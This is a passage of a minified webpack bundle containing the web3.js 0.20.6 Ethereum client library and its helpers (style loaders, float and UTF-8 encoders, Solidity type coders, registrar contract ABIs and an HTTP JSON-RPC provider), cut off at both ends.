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); }\n\n.screen {\n position: absolute;\n left: 95px;\n top: 182px;\n width: 319px;\n height: 568px;\n overflow: hidden; }\n',""])},function(n,e){n.exports=function(){var n=[];return n.toString=function(){for(var n=[],e=0;e<this.length;e++){var t=this[e];t[2]?n.push("@media "+t[2]+"{"+t[1]+"}"):n.push(t[1])}return n.join("")},n.i=function(e,t){"string"==typeof e&&(e=[[null,e,""]]);for(var i={},r=0;r<this.length;r++){var o=this[r][0];"number"==typeof o&&(i[o]=!0)}for(r=0;r<e.length;r++){var a=e[r];"number"==typeof a[0]&&i[a[0]]||(t&&!a[2]?a[2]=t:t&&(a[2]="("+a[2]+") and ("+t+")"),n.push(a))}},n}},function(n,e){e.read=function(n,e,t,i,r){var o,a,s=8*r-i-1,l=(1<<s)-1,c=l>>1,d=-7,f=t?r-1:0,u=t?-1:1,m=n[e+f];for(f+=u,o=m&(1<<-d)-1,m>>=-d,d+=s;d>0;o=256*o+n[e+f],f+=u,d-=8);for(a=o&(1<<-d)-1,o>>=-d,d+=i;d>0;a=256*a+n[e+f],f+=u,d-=8);if(0===o)o=1-c;else{if(o===l)return a?NaN:1/0*(m?-1:1);a+=Math.pow(2,i),o-=c}return(m?-1:1)*a*Math.pow(2,o-i)},e.write=function(n,e,t,i,r,o){var a,s,l,c=8*o-r-1,d=(1<<c)-1,f=d>>1,u=23===r?Math.pow(2,-24)-Math.pow(2,-77):0,m=i?0:o-1,h=i?1:-1,b=e<0||0===e&&1/e<0?1:0;for(e=Math.abs(e),isNaN(e)||e===1/0?(s=isNaN(e)?1:0,a=d):(a=Math.floor(Math.log(e)/Math.LN2),e*(l=Math.pow(2,-a))<1&&(a--,l*=2),(e+=a+f>=1?u/l:u*Math.pow(2,1-f))*l>=2&&(a++,l/=2),a+f>=d?(s=0,a=d):a+f>=1?(s=(e*l-1)*Math.pow(2,r),a+=f):(s=e*Math.pow(2,f-1)*Math.pow(2,r),a=0));r>=8;n[t+m]=255&s,m+=h,s/=256,r-=8);for(a=a<<r|s,c+=r;c>0;n[t+m]=255&a,m+=h,a/=256,c-=8);n[t+m-h]|=128*b}},function(n,e){var t={}.toString;n.exports=Array.isArray||function(n){return"[object Array]"==t.call(n)}},function(n,e){n.exports=[{constant:!0,inputs:[{name:"_owner",type:"address"}],name:"name",outputs:[{name:"o_name",type:"bytes32"}],type:"function"},{constant:!0,inputs:[{name:"_name",type:"bytes32"}],name:"owner",outputs:[{name:"",type:"address"}],type:"function"},{constant:!0,inputs:[{name:"_name",type:"bytes32"}],name:"content",outputs:[{name:"",type:"bytes32"}],type:"function"},{constant:!0,inputs:[{name:"_name",type:"bytes32"}],name:"addr",outputs:[{name:"",type:"address"}],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"}],name:"reserve",outputs:[],type:"function"},{constant:!0,inputs:[{name:"_name",type:"bytes32"}],name:"subRegistrar",outputs:[{name:"",type:"address"}],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"},{name:"_newOwner",type:"address"}],name:"transfer",outputs:[],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"},{name:"_registrar",type:"address"}],name:"setSubRegistrar",outputs:[],type:"function"},{constant:!1,inputs:[],name:"Registrar",outputs:[],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"},{name:"_a",type:"address"},{name:"_primary",type:"bool"}],name:"setAddress",outputs:[],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"},{name:"_content",type:"bytes32"}],name:"setContent",outputs:[],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"}],name:"disown",outputs:[],type:"function"},{anonymous:!1,inputs:[{indexed:!0,name:"_name",type:"bytes32"},{indexed:!1,name:"_winner",type:"address"}],name:"AuctionEnded",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"_name",type:"bytes32"},{indexed:!1,name:"_bidder",type:"address"},{indexed:!1,name:"_value",type:"uint256"}],name:"NewBid",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"name",type:"bytes32"}],name:"Changed",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"name",type:"bytes32"},{indexed:!0,name:"addr",type:"address"}],name:"PrimaryChanged",type:"event"}]},function(n,e){n.exports=[{constant:!0,inputs:[{name:"_name",type:"bytes32"}],name:"owner",outputs:[{name:"",type:"address"}],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"},{name:"_refund",type:"address"}],name:"disown",outputs:[],type:"function"},{constant:!0,inputs:[{name:"_name",type:"bytes32"}],name:"addr",outputs:[{name:"",type:"address"}],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"}],name:"reserve",outputs:[],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"},{name:"_newOwner",type:"address"}],name:"transfer",outputs:[],type:"function"},{constant:!1,inputs:[{name:"_name",type:"bytes32"},{name:"_a",type:"address"}],name:"setAddr",outputs:[],type:"function"},{anonymous:!1,inputs:[{indexed:!0,name:"name",type:"bytes32"}],name:"Changed",type:"event"}]},function(n,e){n.exports=[{constant:!1,inputs:[{name:"from",type:"bytes32"},{name:"to",type:"address"},{name:"value",type:"uint256"}],name:"transfer",outputs:[],type:"function"},{constant:!1,inputs:[{name:"from",type:"bytes32"},{name:"to",type:"address"},{name:"indirectId",type:"bytes32"},{name:"value",type:"uint256"}],name:"icapTransfer",outputs:[],type:"function"},{constant:!1,inputs:[{name:"to",type:"bytes32"}],name:"deposit",outputs:[],payable:!0,type:"function"},{anonymous:!1,inputs:[{indexed:!0,name:"from",type:"address"},{indexed:!1,name:"value",type:"uint256"}],name:"AnonymousDeposit",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"from",type:"address"},{indexed:!0,name:"to",type:"bytes32"},{indexed:!1,name:"value",type:"uint256"}],name:"Deposit",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"from",type:"bytes32"},{indexed:!0,name:"to",type:"address"},{indexed:!1,name:"value",type:"uint256"}],name:"Transfer",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"from",type:"bytes32"},{indexed:!0,name:"to",type:"address"},{indexed:!1,name:"indirectId",type:"bytes32"},{indexed:!1,name:"value",type:"uint256"}],name:"IcapTransfer",type:"event"}]},function(n,e){n.exports={version:"0.20.6"}},function(n,e){var t={},i=function(n){var e;return function(){return void 0===e&&(e=n.apply(this,arguments)),e}},r=i(function(){return/msie [6-9]\b/.test(self.navigator.userAgent.toLowerCase())}),o=i(function(){return document.head||document.getElementsByTagName("head")[0]}),a=null,s=0,l=[];function c(n,e){for(var i=0;i<n.length;i++){var r=n[i],o=t[r.id];if(o){o.refs++;for(var a=0;a<o.parts.length;a++)o.parts[a](r.parts[a]);for(;a<r.parts.length;a++)o.parts.push(h(r.parts[a],e))}else{var s=[];for(a=0;a<r.parts.length;a++)s.push(h(r.parts[a],e));t[r.id]={id:r.id,refs:1,parts:s}}}}function d(n){for(var e=[],t={},i=0;i<n.length;i++){var r=n[i],o=r[0],a={css:r[1],media:r[2],sourceMap:r[3]};t[o]?t[o].parts.push(a):e.push(t[o]={id:o,parts:[a]})}return e}function f(n,e){var t=o(),i=l[l.length-1];if("top"===n.insertAt)i?i.nextSibling?t.insertBefore(e,i.nextSibling):t.appendChild(e):t.insertBefore(e,t.firstChild),l.push(e);else{if("bottom"!==n.insertAt)throw new Error("Invalid value for parameter 'insertAt'. Must be 'top' or 'bottom'.");t.appendChild(e)}}function u(n){n.parentNode.removeChild(n);var e=l.indexOf(n);e>=0&&l.splice(e,1)}function m(n){var e=document.createElement("style");return e.type="text/css",f(n,e),e}function h(n,e){var t,i,r;if(e.singleton){var o=s++;t=a||(a=m(e)),i=g.bind(null,t,o,!1),r=g.bind(null,t,o,!0)}else n.sourceMap&&"function"==typeof URL&&"function"==typeof URL.createObjectURL&&"function"==typeof URL.revokeObjectURL&&"function"==typeof Blob&&"function"==typeof btoa?(t=function(n){var e=document.createElement("link");return e.rel="stylesheet",f(n,e),e}(e),i=function(n,e){var t=e.css,i=e.sourceMap;i&&(t+="\n/*# sourceMappingURL=data:application/json;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(i))))+" */");var r=new Blob([t],{type:"text/css"}),o=n.href;n.href=URL.createObjectURL(r),o&&URL.revokeObjectURL(o)}.bind(null,t),r=function(){u(t),t.href&&URL.revokeObjectURL(t.href)}):(t=m(e),i=function(n,e){var t=e.css,i=e.media;i&&n.setAttribute("media",i);if(n.styleSheet)n.styleSheet.cssText=t;else{for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild(document.createTextNode(t))}}.bind(null,t),r=function(){u(t)});return i(n),function(e){if(e){if(e.css===n.css&&e.media===n.media&&e.sourceMap===n.sourceMap)return;i(n=e)}else r()}}n.exports=function(n,e){if("undefined"!=typeof DEBUG&&DEBUG&&"object"!=typeof document)throw new Error("The style-loader cannot be used in a non-browser environment");void 0===(e=e||{}).singleton&&(e.singleton=r()),void 0===e.insertAt&&(e.insertAt="bottom");var i=d(n);return c(i,e),function(n){for(var r=[],o=0;o<i.length;o++){var a=i[o];(s=t[a.id]).refs--,r.push(s)}n&&c(d(n),e);for(o=0;o<r.length;o++){var s;if(0===(s=r[o]).refs){for(var l=0;l<s.parts.length;l++)s.parts[l]();delete t[s.id]}}}};var b,p=(b=[],function(n,e){return b[n]=e,b.filter(Boolean).join("\n")});function g(n,e,t,i){var r=t?"":i.css;if(n.styleSheet)n.styleSheet.cssText=p(e,r);else{var o=document.createTextNode(r),a=n.childNodes;a[e]&&n.removeChild(a[e]),a.length?n.insertBefore(o,a[e]):n.appendChild(o)}}},function(n,e,t){(function(n,i){var r;!function(o){var a="object"==typeof e&&e,s=("object"==typeof n&&n&&n.exports,"object"==typeof i&&i);s.global!==s&&s.window;var l,c,d,f=String.fromCharCode;function u(n){for(var e,t,i=[],r=0,o=n.length;r<o;)(e=n.charCodeAt(r++))>=55296&&e<=56319&&r<o?56320==(64512&(t=n.charCodeAt(r++)))?i.push(((1023&e)<<10)+(1023&t)+65536):(i.push(e),r--):i.push(e);return i}function m(n){if(n>=55296&&n<=57343)throw Error("Lone surrogate U+"+n.toString(16).toUpperCase()+" is not a scalar value")}function h(n,e){return f(n>>e&63|128)}function b(n){if(0==(4294967168&n))return f(n);var e="";return 0==(4294965248&n)?e=f(n>>6&31|192):0==(4294901760&n)?(m(n),e=f(n>>12&15|224),e+=h(n,6)):0==(4292870144&n)&&(e=f(n>>18&7|240),e+=h(n,12),e+=h(n,6)),e+=f(63&n|128)}function p(){if(d>=c)throw Error("Invalid byte index");var n=255&l[d];if(d++,128==(192&n))return 63&n;throw Error("Invalid continuation byte")}function g(){var n,e;if(d>c)throw Error("Invalid byte index");if(d==c)return!1;if(n=255&l[d],d++,0==(128&n))return n;if(192==(224&n)){if((e=(31&n)<<6|p())>=128)return e;throw Error("Invalid continuation byte")}if(224==(240&n)){if((e=(15&n)<<12|p()<<6|p())>=2048)return m(e),e;throw Error("Invalid continuation byte")}if(240==(248&n)&&(e=(7&n)<<18|p()<<12|p()<<6|p())>=65536&&e<=1114111)return e;throw Error("Invalid UTF-8 detected")}var v={version:"2.1.2",encode:function(n){for(var e=u(n),t=e.length,i=-1,r="";++i<t;)r+=b(e[i]);return r},decode:function(n){l=u(n),c=l.length,d=0;for(var e,t=[];!1!==(e=g());)t.push(e);return function(n){for(var e,t=n.length,i=-1,r="";++i<t;)(e=n[i])>65535&&(r+=f((e-=65536)>>>10&1023|55296),e=56320|1023&e),r+=f(e);return r}(t)}};void 0===(r=function(){return v}.call(e,t,e,n))||(n.exports=r)}()}).call(e,t(96)(n),t(28))},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputInt,this._outputFormatter=i.formatOutputAddress};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/address(\[([0-9]*)\])?/)},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputBool,this._outputFormatter=i.formatOutputBool};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/^bool(\[([0-9]*)\])*$/)},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputBytes,this._outputFormatter=i.formatOutputBytes};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/^bytes([0-9]{1,})(\[([0-9]*)\])*$/)},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputDynamicBytes,this._outputFormatter=i.formatOutputDynamicBytes};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/^bytes(\[([0-9]*)\])*$/)},o.prototype.isDynamicType=function(){return!0},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputInt,this._outputFormatter=i.formatOutputInt};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/^int([0-9]*)?(\[([0-9]*)\])*$/)},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputReal,this._outputFormatter=i.formatOutputReal};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/real([0-9]*)?(\[([0-9]*)\])?/)},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputString,this._outputFormatter=i.formatOutputString};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/^string(\[([0-9]*)\])*$/)},o.prototype.isDynamicType=function(){return!0},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputInt,this._outputFormatter=i.formatOutputUInt};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/^uint([0-9]*)?(\[([0-9]*)\])*$/)},n.exports=o},function(n,e,t){var i=t(3),r=t(4),o=function(){this._inputFormatter=i.formatInputReal,this._outputFormatter=i.formatOutputUReal};(o.prototype=new r({})).constructor=o,o.prototype.isType=function(n){return!!n.match(/^ureal([0-9]*)?(\[([0-9]*)\])*$/)},n.exports=o},function(n,e,t){"use strict";"undefined"==typeof XMLHttpRequest?e.XMLHttpRequest={}:e.XMLHttpRequest=XMLHttpRequest},function(n,e,t){var i=t(92),r=t(17),o=t(86),a=t(85),s=t(89),l=t(87),c=t(88),d=t(90),f=t(93),u=t(64),m=t(2),h=t(12),b=t(81),p=t(79),g=t(11),v=t(83),w=t(84),x=t(13);function k(n){this._requestManager=new i(n),this.currentProvider=n,this.eth=new o(this),this.db=new a(this),this.shh=new s(this),this.net=new l(this),this.personal=new c(this),this.bzz=new d(this),this.settings=new f,this.version={api:u.version},this.providers={HttpProvider:v,IpcProvider:w},this._extend=b(this),this._extend({properties:y()})}k.providers={HttpProvider:v,IpcProvider:w},k.prototype.setProvider=function(n){this._requestManager.setProvider(n),this.currentProvider=n},k.prototype.reset=function(n){this._requestManager.reset(n),this.settings=new f},k.prototype.BigNumber=x,k.prototype.toHex=m.toHex,k.prototype.toAscii=m.toAscii,k.prototype.toUtf8=m.toUtf8,k.prototype.fromAscii=m.fromAscii,k.prototype.fromUtf8=m.fromUtf8,k.prototype.toDecimal=m.toDecimal,k.prototype.fromDecimal=m.fromDecimal,k.prototype.toBigNumber=m.toBigNumber,k.prototype.toWei=m.toWei,k.prototype.fromWei=m.fromWei,k.prototype.isAddress=m.isAddress,k.prototype.isChecksumAddress=m.isChecksumAddress,k.prototype.toChecksumAddress=m.toChecksumAddress,k.prototype.isIBAN=m.isIBAN,k.prototype.padLeft=m.padLeft,k.prototype.padRight=m.padRight,k.prototype.sha3=function(n,e){return"0x"+h(n,e)},k.prototype.fromICAP=function(n){return new r(n).address()};var y=function(){return[new g({name:"version.node",getter:"web3_clientVersion"}),new g({name:"version.network",getter:"net_version",inputFormatter:m.toDecimal}),new g({name:"version.ethereum",getter:"eth_protocolVersion",inputFormatter:m.toDecimal}),new g({name:"version.whisper",getter:"shh_version",inputFormatter:m.toDecimal})]};k.prototype.isConnected=function(){return this.currentProvider&&this.currentProvider.isConnected()},k.prototype.createBatch=function(){return new p(this)},n.exports=k},function(n,e,t){var i=t(12),r=t(26),o=t(5),a=t(2),s=t(16),l=t(18),c=function(n,e,t){this._requestManager=n,this._json=e,this._address=t};c.prototype.encode=function(n){n=n||{};var e={};return["fromBlock","toBlock"].filter(function(e){return void 0!==n[e]}).forEach(function(t){e[t]=o.inputBlockNumberFormatter(n[t])}),e.address=this._address,e},c.prototype.decode=function(n){n.data=n.data||"";var e=a.isArray(n.topics)&&a.isString(n.topics[0])?n.topics[0].slice(2):"",t=this._json.filter(function(n){return e===i(a.transformToFullName(n))})[0];return t?new r(this._requestManager,t,this._address).decode(n):o.outputLogFormatter(n)},c.prototype.execute=function(n,e){a.isFunction(arguments[arguments.length-1])&&(e=arguments[arguments.length-1],1===arguments.length&&(n=null));var t=this.encode(n),i=this.decode.bind(this);return new s(t,"eth",this._requestManager,l.eth(),i,e)},c.prototype.attachToContract=function(n){var e=this.execute.bind(this);n.allEvents=e},n.exports=c},function(n,e,t){var i=t(27),r=t(10),o=function(n){this.requestManager=n._requestManager,this.requests=[]};o.prototype.add=function(n){this.requests.push(n)},o.prototype.execute=function(){var n=this.requests;this.requestManager.sendBatch(n,function(e,t){t=t||[],n.map(function(n,e){return t[e]||{}}).forEach(function(e,t){if(n[t].callback){if(!i.isValidResponse(e))return n[t].callback(r.InvalidResponse(e));n[t].callback(null,n[t].format?n[t].format(e.result):e.result)}})})},n.exports=o},function(n,e,t){var i=t(2),r=t(21),o=t(26),a=t(82),s=t(78),l=function(n,e){return n.filter(function(n){return"constructor"===n.type&&n.inputs.length===e.length}).map(function(n){return n.inputs.map(function(n){return n.type})}).map(function(n){return r.encodeParams(n,e)})[0]||""},c=function(n){n.abi.filter(function(n){return"function"===n.type}).map(function(e){return new a(n._eth,e,n.address)}).forEach(function(e){e.attachToContract(n)})},d=function(n){var e=n.abi.filter(function(n){return"event"===n.type});new s(n._eth._requestManager,e,n.address).attachToContract(n),e.map(function(e){return new o(n._eth._requestManager,e,n.address)}).forEach(function(e){e.attachToContract(n)})},f=function(n,e){var t=0,i=!1,r=n._eth.filter("latest",function(o){if(!o&&!i)if(++t>50){if(r.stopWatching(function(){}),i=!0,!e)throw new Error("Contract transaction couldn't be found after 50 blocks");e(new Error("Contract transaction couldn't be found after 50 blocks"))}else n._eth.getTransactionReceipt(n.transactionHash,function(t,o){o&&o.blockHash&&!i&&n._eth.getCode(o.contractAddress,function(t,a){if(!i&&a)if(r.stopWatching(function(){}),i=!0,a.length>3)n.address=o.contractAddress,c(n),d(n),e&&e(null,n);else{if(!e)throw new Error("The contract code couldn't be stored, please check your gas amount.");e(new Error("The contract code couldn't be stored, please check your gas amount."))}})})})},u=function(n,e){this.eth=n,this.abi=e,this.new=function(){var n,t=new m(this.eth,this.abi),r={},o=Array.prototype.slice.call(arguments);i.isFunction(o[o.length-1])&&(n=o.pop());var a=o[o.length-1];if((i.isObject(a)&&!i.isArray(a)&&(r=o.pop()),r.value>0)&&!(e.filter(function(n){return"constructor"===n.type&&n.inputs.length===o.length})[0]||{}).payable)throw new Error("Cannot send value to non-payable constructor");var s=l(this.abi,o);if(r.data+=s,n)this.eth.sendTransaction(r,function(e,i){e?n(e):(t.transactionHash=i,n(null,t),f(t,n))});else{var c=this.eth.sendTransaction(r);t.transactionHash=c,f(t)}return t},this.new.getData=this.getData.bind(this)};u.prototype.at=function(n,e){var t=new m(this.eth,this.abi,n);return c(t),d(t),e&&e(null,t),t},u.prototype.getData=function(){var n={},e=Array.prototype.slice.call(arguments),t=e[e.length-1];i.isObject(t)&&!i.isArray(t)&&(n=e.pop());var r=l(this.abi,e);return n.data+=r,n.data};var m=function(n,e,t){this._eth=n,this.transactionHash=null,this.address=t,this.abi=e};n.exports=u},function(n,e,t){var i=t(5),r=t(2),o=t(6),a=t(11);n.exports=function(n){var e=function(e){var t;e.property?(n[e.property]||(n[e.property]={}),t=n[e.property]):t=n,e.methods&&e.methods.forEach(function(e){e.attachToObject(t),e.setRequestManager(n._requestManager)}),e.properties&&e.properties.forEach(function(e){e.attachToObject(t),e.setRequestManager(n._requestManager)})};return e.formatters=i,e.utils=r,e.Method=o,e.Property=a,e}},function(n,e,t){var i=t(21),r=t(2),o=t(10),a=t(5),s=t(12),l=function(n,e,t){this._eth=n,this._inputTypes=e.inputs.map(function(n){return n.type}),this._outputTypes=e.outputs.map(function(n){return n.type}),this._constant=e.constant,this._payable=e.payable,this._name=r.transformToFullName(e),this._address=t};l.prototype.extractCallback=function(n){if(r.isFunction(n[n.length-1]))return n.pop()},l.prototype.extractDefaultBlock=function(n){if(n.length>this._inputTypes.length&&!r.isObject(n[n.length-1]))return a.inputDefaultBlockNumberFormatter(n.pop())},l.prototype.validateArgs=function(n){if(n.filter(function(n){return!(!0===r.isObject(n)&&!1===r.isArray(n)&&!1===r.isBigNumber(n))}).length!==this._inputTypes.length)throw o.InvalidNumberOfSolidityArgs()},l.prototype.toPayload=function(n){var e={};return n.length>this._inputTypes.length&&r.isObject(n[n.length-1])&&(e=n[n.length-1]),this.validateArgs(n),e.to=this._address,e.data="0x"+this.signature()+i.encodeParams(this._inputTypes,n),e},l.prototype.signature=function(){return s(this._name).slice(0,8)},l.prototype.unpackOutput=function(n){if(n){n=n.length>=2?n.slice(2):n;var e=i.decodeParams(this._outputTypes,n);return 1===e.length?e[0]:e}},l.prototype.call=function(){var n=Array.prototype.slice.call(arguments).filter(function(n){return void 0!==n}),e=this.extractCallback(n),t=this.extractDefaultBlock(n),i=this.toPayload(n);if(!e){var r=this._eth.call(i,t);return this.unpackOutput(r)}var o=this;this._eth.call(i,t,function(n,t){if(n)return e(n,null);var i=null;try{i=o.unpackOutput(t)}catch(e){n=e}e(n,i)})},l.prototype.sendTransaction=function(){var n=Array.prototype.slice.call(arguments).filter(function(n){return void 0!==n}),e=this.extractCallback(n),t=this.toPayload(n);if(t.value>0&&!this._payable)throw new Error("Cannot send value to non-payable function");if(!e)return this._eth.sendTransaction(t);this._eth.sendTransaction(t,e)},l.prototype.estimateGas=function(){var n=Array.prototype.slice.call(arguments),e=this.extractCallback(n),t=this.toPayload(n);if(!e)return this._eth.estimateGas(t);this._eth.estimateGas(t,e)},l.prototype.getData=function(){var n=Array.prototype.slice.call(arguments);return this.toPayload(n).data},l.prototype.displayName=function(){return r.extractDisplayName(this._name)},l.prototype.typeName=function(){return r.extractTypeName(this._name)},l.prototype.request=function(){var n=Array.prototype.slice.call(arguments),e=this.extractCallback(n),t=this.toPayload(n),i=this.unpackOutput.bind(this);return{method:this._constant?"eth_call":"eth_sendTransaction",callback:e,params:[t],format:i}},l.prototype.execute=function(){return!this._constant?this.sendTransaction.apply(this,Array.prototype.slice.call(arguments)):this.call.apply(this,Array.prototype.slice.call(arguments))},l.prototype.attachToContract=function(n){var e=this.execute.bind(this);e.request=this.request.bind(this),e.call=this.call.bind(this),e.sendTransaction=this.sendTransaction.bind(this),e.estimateGas=this.estimateGas.bind(this),e.getData=this.getData.bind(this);var t=this.displayName();n[t]||(n[t]=e),n[t][this.typeName()]=e},n.exports=l},function(n,e,t){(function(e){var i=t(10);"undefined"!=typeof window&&window.XMLHttpRequest?XMLHttpRequest=window.XMLHttpRequest:XMLHttpRequest=t(76).XMLHttpRequest;var r=t(97),o=function(n,e,t,i,r){this.host=n||"http://localhost:8545",this.timeout=e||0,this.user=t,this.password=i,this.headers=r};o.prototype.prepareRequest=function(n){var t;if(n?(t=new r).timeout=this.timeout:t=new XMLHttpRequest,t.open("POST",this.host,n),this.user&&this.password){var i="Basic "+new e(this.user+":"+this.password).toString("base64");t.setRequestHeader("Authorization",i)}return t.setRequestHeader("Content-Type","application/json"),this.headers&&this.headers.forEach(function(n){t.setRequestHeader(n.name,n.value)}),t},o.prototype.send=function(n){var e=this.prepareRequest(!1);try{e.send(JSON.stringify(n))}catch(n){throw i.InvalidConnection(this.host)}var t=e.responseText;try{t=JSON.parse(t)}catch(n){throw i.InvalidResponse(e.responseText)}return t},o.prototype.sendAsync=function(n,e){var t=this.prepareRequest(!0);t.onreadystatechange=function(){if(4===t.readyState&&1!==t.timeout){var n=t.responseText,r=null;try{n=JSON.parse(n)}catch(n){r=i.InvalidResponse(t.responseText)}e(r,n)}},t.ontimeout=function(){e(i.ConnectionTimeout(this.timeout))};try{t.send(JSON.stringify(n))}catch(n){e(i.InvalidConnection(this.host))}},o.prototype.isConnected=function(){try{return this.send({id:9999999999,jsonrpc:"2.0",method:"net_listening",params:[]}),!0}catch(n){return!1}},n.exports=o}).call(e,t(33).Buffer)},function(n,e,t){"use strict";var i=t(2),r=t(10),o=function(n,e){var t=this;this.responseCallbacks={},this.path=n,this.connection=e.connect({path:this.path}),this.connection.on("error",function(n){console.error("IPC Connection Error",n),t._timeout()}),this.connection.on("end",function(){t._timeout()}),this.connection.on("data",function(n){t._parseResponse(n.toString()).forEach(function(n){var 